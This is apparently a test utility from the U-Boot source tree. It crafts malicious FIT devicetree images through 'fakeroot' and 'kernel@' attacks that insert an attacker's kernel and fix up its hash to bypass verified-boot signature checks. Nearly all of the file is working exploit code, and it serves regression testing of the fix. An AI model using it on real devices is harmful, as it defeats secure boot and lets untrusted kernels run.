mirror of
https://github.com/AsahiLinux/u-boot
synced 2024-12-04 18:41:03 +00:00
486 lines
15 KiB
Python
486 lines
15 KiB
Python
|
# SPDX-License-Identifier: GPL-2.0
|
||
|
# Copyright (c) 2020, Intel Corporation
|
||
|
|
||
|
"""Modifies a devicetree to add a fake root node, for testing purposes"""
|
||
|
|
||
|
import hashlib
|
||
|
import struct
|
||
|
import sys
|
||
|
|
||
|
FDT_PROP = 0x3
|
||
|
FDT_BEGIN_NODE = 0x1
|
||
|
FDT_END_NODE = 0x2
|
||
|
FDT_END = 0x9
|
||
|
|
||
|
FAKE_ROOT_ATTACK = 0
|
||
|
KERNEL_AT = 1
|
||
|
|
||
|
MAGIC = 0xd00dfeed
|
||
|
|
||
|
EVIL_KERNEL_NAME = b'evil_kernel'
|
||
|
FAKE_ROOT_NAME = b'f@keroot'
|
||
|
|
||
|
|
||
|
def getstr(dt_strings, off):
|
||
|
"""Get a string from the devicetree string table
|
||
|
|
||
|
Args:
|
||
|
dt_strings (bytes): Devicetree strings section
|
||
|
off (int): Offset of string to read
|
||
|
|
||
|
Returns:
|
||
|
str: String read from the table
|
||
|
"""
|
||
|
output = ''
|
||
|
while dt_strings[off]:
|
||
|
output += chr(dt_strings[off])
|
||
|
off += 1
|
||
|
|
||
|
return output
|
||
|
|
||
|
|
||
|
def align(offset):
|
||
|
"""Align an offset to a multiple of 4
|
||
|
|
||
|
Args:
|
||
|
offset (int): Offset to align
|
||
|
|
||
|
Returns:
|
||
|
int: Resulting aligned offset (rounds up to nearest multiple)
|
||
|
"""
|
||
|
return (offset + 3) & ~3
|
||
|
|
||
|
|
||
|
def determine_offset(dt_struct, dt_strings, searched_node_name):
|
||
|
"""Determines the offset of an element, either a node or a property
|
||
|
|
||
|
Args:
|
||
|
dt_struct (bytes): Devicetree struct section
|
||
|
dt_strings (bytes): Devicetree strings section
|
||
|
searched_node_name (str): element path, ex: /images/kernel@1/data
|
||
|
|
||
|
Returns:
|
||
|
tuple: (node start offset, node end offset)
|
||
|
if element is not found, returns (None, None)
|
||
|
"""
|
||
|
offset = 0
|
||
|
depth = -1
|
||
|
|
||
|
path = '/'
|
||
|
|
||
|
object_start_offset = None
|
||
|
object_end_offset = None
|
||
|
object_depth = None
|
||
|
|
||
|
while offset < len(dt_struct):
|
||
|
(tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
|
||
|
|
||
|
if tag == FDT_BEGIN_NODE:
|
||
|
depth += 1
|
||
|
|
||
|
begin_node_offset = offset
|
||
|
offset += 4
|
||
|
|
||
|
node_name = getstr(dt_struct, offset)
|
||
|
offset += len(node_name) + 1
|
||
|
offset = align(offset)
|
||
|
|
||
|
if path[-1] != '/':
|
||
|
path += '/'
|
||
|
|
||
|
path += str(node_name)
|
||
|
|
||
|
if path == searched_node_name:
|
||
|
object_start_offset = begin_node_offset
|
||
|
object_depth = depth
|
||
|
|
||
|
elif tag == FDT_PROP:
|
||
|
begin_prop_offset = offset
|
||
|
|
||
|
offset += 4
|
||
|
len_tag, nameoff = struct.unpack('>II',
|
||
|
dt_struct[offset:offset + 8])
|
||
|
offset += 8
|
||
|
prop_name = getstr(dt_strings, nameoff)
|
||
|
|
||
|
len_tag = align(len_tag)
|
||
|
|
||
|
offset += len_tag
|
||
|
|
||
|
node_path = path + '/' + str(prop_name)
|
||
|
|
||
|
if node_path == searched_node_name:
|
||
|
object_start_offset = begin_prop_offset
|
||
|
|
||
|
elif tag == FDT_END_NODE:
|
||
|
offset += 4
|
||
|
|
||
|
path = path[:path.rfind('/')]
|
||
|
if not path:
|
||
|
path = '/'
|
||
|
|
||
|
if depth == object_depth:
|
||
|
object_end_offset = offset
|
||
|
break
|
||
|
depth -= 1
|
||
|
elif tag == FDT_END:
|
||
|
break
|
||
|
|
||
|
else:
|
||
|
print('unknown tag=0x%x, offset=0x%x found!' % (tag, offset))
|
||
|
break
|
||
|
|
||
|
return object_start_offset, object_end_offset
|
||
|
|
||
|
|
||
|
def modify_node_name(dt_struct, node_offset, replcd_name):
|
||
|
"""Change the name of a node
|
||
|
|
||
|
Args:
|
||
|
dt_struct (bytes): Devicetree struct section
|
||
|
node_offset (int): Offset of node
|
||
|
replcd_name (str): New name for node
|
||
|
|
||
|
Returns:
|
||
|
bytes: New dt_struct contents
|
||
|
"""
|
||
|
|
||
|
# skip 4 bytes for the FDT_BEGIN_NODE
|
||
|
node_offset += 4
|
||
|
|
||
|
node_name = getstr(dt_struct, node_offset)
|
||
|
node_name_len = len(node_name) + 1
|
||
|
|
||
|
node_name_len = align(node_name_len)
|
||
|
|
||
|
replcd_name += b'\0'
|
||
|
|
||
|
# align on 4 bytes
|
||
|
while len(replcd_name) % 4:
|
||
|
replcd_name += b'\0'
|
||
|
|
||
|
dt_struct = (dt_struct[:node_offset] + replcd_name +
|
||
|
dt_struct[node_offset + node_name_len:])
|
||
|
|
||
|
return dt_struct
|
||
|
|
||
|
|
||
|
def modify_prop_content(dt_struct, prop_offset, content):
|
||
|
"""Overwrite the value of a property
|
||
|
|
||
|
Args:
|
||
|
dt_struct (bytes): Devicetree struct section
|
||
|
prop_offset (int): Offset of property (FDT_PROP tag)
|
||
|
content (bytes): New content for the property
|
||
|
|
||
|
Returns:
|
||
|
bytes: New dt_struct contents
|
||
|
"""
|
||
|
# skip FDT_PROP
|
||
|
prop_offset += 4
|
||
|
(len_tag, nameoff) = struct.unpack('>II',
|
||
|
dt_struct[prop_offset:prop_offset + 8])
|
||
|
|
||
|
# compute padded original node length
|
||
|
original_node_len = len_tag + 8 # content length + prop meta data len
|
||
|
|
||
|
original_node_len = align(original_node_len)
|
||
|
|
||
|
added_data = struct.pack('>II', len(content), nameoff)
|
||
|
added_data += content
|
||
|
while len(added_data) % 4:
|
||
|
added_data += b'\0'
|
||
|
|
||
|
dt_struct = (dt_struct[:prop_offset] + added_data +
|
||
|
dt_struct[prop_offset + original_node_len:])
|
||
|
|
||
|
return dt_struct
|
||
|
|
||
|
|
||
|
def change_property_value(dt_struct, dt_strings, prop_path, prop_value,
|
||
|
required=True):
|
||
|
"""Change a given property value
|
||
|
|
||
|
Args:
|
||
|
dt_struct (bytes): Devicetree struct section
|
||
|
dt_strings (bytes): Devicetree strings section
|
||
|
prop_path (str): full path of the target property
|
||
|
prop_value (bytes): new property name
|
||
|
required (bool): raise an exception if property not found
|
||
|
|
||
|
Returns:
|
||
|
bytes: New dt_struct contents
|
||
|
|
||
|
Raises:
|
||
|
ValueError: if the property is not found
|
||
|
"""
|
||
|
(rt_node_start, _) = determine_offset(dt_struct, dt_strings, prop_path)
|
||
|
if rt_node_start is None:
|
||
|
if not required:
|
||
|
return dt_struct
|
||
|
raise ValueError('Fatal error, unable to find prop %s' % prop_path)
|
||
|
|
||
|
dt_struct = modify_prop_content(dt_struct, rt_node_start, prop_value)
|
||
|
|
||
|
return dt_struct
|
||
|
|
||
|
def change_node_name(dt_struct, dt_strings, node_path, node_name):
|
||
|
"""Change a given node name
|
||
|
|
||
|
Args:
|
||
|
dt_struct (bytes): Devicetree struct section
|
||
|
dt_strings (bytes): Devicetree strings section
|
||
|
node_path (str): full path of the target node
|
||
|
node_name (str): new node name, just node name not full path
|
||
|
|
||
|
Returns:
|
||
|
bytes: New dt_struct contents
|
||
|
|
||
|
Raises:
|
||
|
ValueError: if the node is not found
|
||
|
"""
|
||
|
(rt_node_start, rt_node_end) = (
|
||
|
determine_offset(dt_struct, dt_strings, node_path))
|
||
|
if rt_node_start is None or rt_node_end is None:
|
||
|
raise ValueError('Fatal error, unable to find root node')
|
||
|
|
||
|
dt_struct = modify_node_name(dt_struct, rt_node_start, node_name)
|
||
|
|
||
|
return dt_struct
|
||
|
|
||
|
def get_prop_value(dt_struct, dt_strings, prop_path):
|
||
|
"""Get the content of a property based on its path
|
||
|
|
||
|
Args:
|
||
|
dt_struct (bytes): Devicetree struct section
|
||
|
dt_strings (bytes): Devicetree strings section
|
||
|
prop_path (str): full path of the target property
|
||
|
|
||
|
Returns:
|
||
|
bytes: Property value
|
||
|
|
||
|
Raises:
|
||
|
ValueError: if the property is not found
|
||
|
"""
|
||
|
(offset, _) = determine_offset(dt_struct, dt_strings, prop_path)
|
||
|
if offset is None:
|
||
|
raise ValueError('Fatal error, unable to find prop')
|
||
|
|
||
|
offset += 4
|
||
|
(len_tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
|
||
|
|
||
|
offset += 8
|
||
|
tag_data = dt_struct[offset:offset + len_tag]
|
||
|
|
||
|
return tag_data
|
||
|
|
||
|
|
||
|
def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash):
|
||
|
"""Conduct the kernel@ attack
|
||
|
|
||
|
It fetches from /configurations/default the name of the kernel being loaded.
|
||
|
Then, if the kernel name does not contain any @sign, duplicates the kernel
|
||
|
in /images node and appends '@evil' to its name.
|
||
|
It inserts a new kernel content and updates its images digest.
|
||
|
|
||
|
Inputs:
|
||
|
- FIT dt_struct
|
||
|
- FIT dt_strings
|
||
|
- kernel content blob
|
||
|
- kernel hash blob
|
||
|
|
||
|
Important note: it assumes the U-Boot loading method is 'kernel' and the
|
||
|
loaded kernel hash's subnode name is 'hash-1'
|
||
|
"""
|
||
|
|
||
|
# retrieve the default configuration name
|
||
|
default_conf_name = get_prop_value(
|
||
|
dt_struct, dt_strings, '/configurations/default')
|
||
|
default_conf_name = str(default_conf_name[:-1], 'utf-8')
|
||
|
|
||
|
conf_path = '/configurations/' + default_conf_name
|
||
|
|
||
|
# fetch the loaded kernel name from the default configuration
|
||
|
loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
|
||
|
|
||
|
loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
|
||
|
|
||
|
if loaded_kernel.find('@') != -1:
|
||
|
print('kernel@ attack does not work on nodes already containing an @ sign!')
|
||
|
sys.exit()
|
||
|
|
||
|
# determine boundaries of the loaded kernel
|
||
|
(krn_node_start, krn_node_end) = (determine_offset(
|
||
|
dt_struct, dt_strings, '/images/' + loaded_kernel))
|
||
|
if krn_node_start is None and krn_node_end is None:
|
||
|
print('Fatal error, unable to find root node')
|
||
|
sys.exit()
|
||
|
|
||
|
# copy the loaded kernel
|
||
|
loaded_kernel_copy = dt_struct[krn_node_start:krn_node_end]
|
||
|
|
||
|
# insert the copy inside the tree
|
||
|
dt_struct = dt_struct[:krn_node_start] + \
|
||
|
loaded_kernel_copy + dt_struct[krn_node_start:]
|
||
|
|
||
|
evil_kernel_name = loaded_kernel+'@evil'
|
||
|
|
||
|
# change the inserted kernel name
|
||
|
dt_struct = change_node_name(
|
||
|
dt_struct, dt_strings, '/images/' + loaded_kernel, bytes(evil_kernel_name, 'utf-8'))
|
||
|
|
||
|
# change the content of the kernel being loaded
|
||
|
dt_struct = change_property_value(
|
||
|
dt_struct, dt_strings, '/images/' + evil_kernel_name + '/data', kernel_content)
|
||
|
|
||
|
# change the content of the kernel being loaded
|
||
|
dt_struct = change_property_value(
|
||
|
dt_struct, dt_strings, '/images/' + evil_kernel_name + '/hash-1/value', kernel_hash)
|
||
|
|
||
|
return dt_struct
|
||
|
|
||
|
|
||
|
def fake_root_node_attack(dt_struct, dt_strings, kernel_content, kernel_digest):
|
||
|
"""Conduct the fakenode attack
|
||
|
|
||
|
It duplicates the original root node at the beginning of the tree.
|
||
|
Then it modifies within this duplicated tree:
|
||
|
- The loaded kernel name
|
||
|
- The loaded kernel data
|
||
|
|
||
|
Important note: it assumes the UBoot loading method is 'kernel' and the loaded kernel
|
||
|
hash's subnode name is hash@1
|
||
|
"""
|
||
|
|
||
|
# retrieve the default configuration name
|
||
|
default_conf_name = get_prop_value(
|
||
|
dt_struct, dt_strings, '/configurations/default')
|
||
|
default_conf_name = str(default_conf_name[:-1], 'utf-8')
|
||
|
|
||
|
conf_path = '/configurations/'+default_conf_name
|
||
|
|
||
|
# fetch the loaded kernel name from the default configuration
|
||
|
loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
|
||
|
|
||
|
loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
|
||
|
|
||
|
# determine root node start and end:
|
||
|
(rt_node_start, rt_node_end) = (determine_offset(dt_struct, dt_strings, '/'))
|
||
|
if (rt_node_start is None) or (rt_node_end is None):
|
||
|
print('Fatal error, unable to find root node')
|
||
|
sys.exit()
|
||
|
|
||
|
# duplicate the whole tree
|
||
|
duplicated_node = dt_struct[rt_node_start:rt_node_end]
|
||
|
|
||
|
# dchange root name (empty name) to fake root name
|
||
|
new_dup = change_node_name(duplicated_node, dt_strings, '/', FAKE_ROOT_NAME)
|
||
|
|
||
|
dt_struct = new_dup + dt_struct
|
||
|
|
||
|
# change the value of /<fake_root_name>/configs/<default_config_name>/kernel
|
||
|
# so our modified kernel will be loaded
|
||
|
base = '/' + str(FAKE_ROOT_NAME, 'utf-8')
|
||
|
value_path = base + conf_path+'/kernel'
|
||
|
dt_struct = change_property_value(dt_struct, dt_strings, value_path,
|
||
|
EVIL_KERNEL_NAME + b'\0')
|
||
|
|
||
|
# change the node of the /<fake_root_name>/images/<original_kernel_name>
|
||
|
images_path = base + '/images/'
|
||
|
node_path = images_path + loaded_kernel
|
||
|
dt_struct = change_node_name(dt_struct, dt_strings, node_path,
|
||
|
EVIL_KERNEL_NAME)
|
||
|
|
||
|
# change the content of the kernel being loaded
|
||
|
data_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/data'
|
||
|
dt_struct = change_property_value(dt_struct, dt_strings, data_path,
|
||
|
kernel_content, required=False)
|
||
|
|
||
|
# update the digest value
|
||
|
hash_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/hash-1/value'
|
||
|
dt_struct = change_property_value(dt_struct, dt_strings, hash_path,
|
||
|
kernel_digest)
|
||
|
|
||
|
return dt_struct
|
||
|
|
||
|
def add_evil_node(in_fname, out_fname, kernel_fname, attack):
|
||
|
"""Add an evil node to the devicetree
|
||
|
|
||
|
Args:
|
||
|
in_fname (str): Filename of input devicetree
|
||
|
out_fname (str): Filename to write modified devicetree to
|
||
|
kernel_fname (str): Filename of kernel data to add to evil node
|
||
|
attack (str): Attack type ('fakeroot' or 'kernel@')
|
||
|
|
||
|
Raises:
|
||
|
ValueError: Unknown attack name
|
||
|
"""
|
||
|
if attack == 'fakeroot':
|
||
|
attack = FAKE_ROOT_ATTACK
|
||
|
elif attack == 'kernel@':
|
||
|
attack = KERNEL_AT
|
||
|
else:
|
||
|
raise ValueError('Unknown attack name!')
|
||
|
|
||
|
with open(in_fname, 'rb') as fin:
|
||
|
input_data = fin.read()
|
||
|
|
||
|
hdr = input_data[0:0x28]
|
||
|
|
||
|
offset = 0
|
||
|
magic = struct.unpack('>I', hdr[offset:offset + 4])[0]
|
||
|
if magic != MAGIC:
|
||
|
raise ValueError('Wrong magic!')
|
||
|
|
||
|
offset += 4
|
||
|
(totalsize, off_dt_struct, off_dt_strings, off_mem_rsvmap, version,
|
||
|
last_comp_version, boot_cpuid_phys, size_dt_strings,
|
||
|
size_dt_struct) = struct.unpack('>IIIIIIIII', hdr[offset:offset + 36])
|
||
|
|
||
|
rsv_map = input_data[off_mem_rsvmap:off_dt_struct]
|
||
|
dt_struct = input_data[off_dt_struct:off_dt_struct + size_dt_struct]
|
||
|
dt_strings = input_data[off_dt_strings:off_dt_strings + size_dt_strings]
|
||
|
|
||
|
with open(kernel_fname, 'rb') as kernel_file:
|
||
|
kernel_content = kernel_file.read()
|
||
|
|
||
|
# computing inserted kernel hash
|
||
|
val = hashlib.sha1()
|
||
|
val.update(kernel_content)
|
||
|
hash_digest = val.digest()
|
||
|
|
||
|
if attack == FAKE_ROOT_ATTACK:
|
||
|
dt_struct = fake_root_node_attack(dt_struct, dt_strings, kernel_content,
|
||
|
hash_digest)
|
||
|
elif attack == KERNEL_AT:
|
||
|
dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content,
|
||
|
hash_digest)
|
||
|
|
||
|
# now rebuild the new file
|
||
|
size_dt_strings = len(dt_strings)
|
||
|
size_dt_struct = len(dt_struct)
|
||
|
totalsize = 0x28 + len(rsv_map) + size_dt_struct + size_dt_strings
|
||
|
off_mem_rsvmap = 0x28
|
||
|
off_dt_struct = off_mem_rsvmap + len(rsv_map)
|
||
|
off_dt_strings = off_dt_struct + len(dt_struct)
|
||
|
|
||
|
header = struct.pack('>IIIIIIIIII', MAGIC, totalsize, off_dt_struct,
|
||
|
off_dt_strings, off_mem_rsvmap, version,
|
||
|
last_comp_version, boot_cpuid_phys, size_dt_strings,
|
||
|
size_dt_struct)
|
||
|
|
||
|
with open(out_fname, 'wb') as output_file:
|
||
|
output_file.write(header)
|
||
|
output_file.write(rsv_map)
|
||
|
output_file.write(dt_struct)
|
||
|
output_file.write(dt_strings)
|
||
|
|
||
|
if __name__ == '__main__':
|
||
|
if len(sys.argv) != 5:
|
||
|
print('usage: %s <input_filename> <output_filename> <kernel_binary> <attack_name>' %
|
||
|
sys.argv[0])
|
||
|
print('valid attack names: [fakeroot, kernel@]')
|
||
|
sys.exit(1)
|
||
|
|
||
|
add_evil_node(sys.argv[1:])
|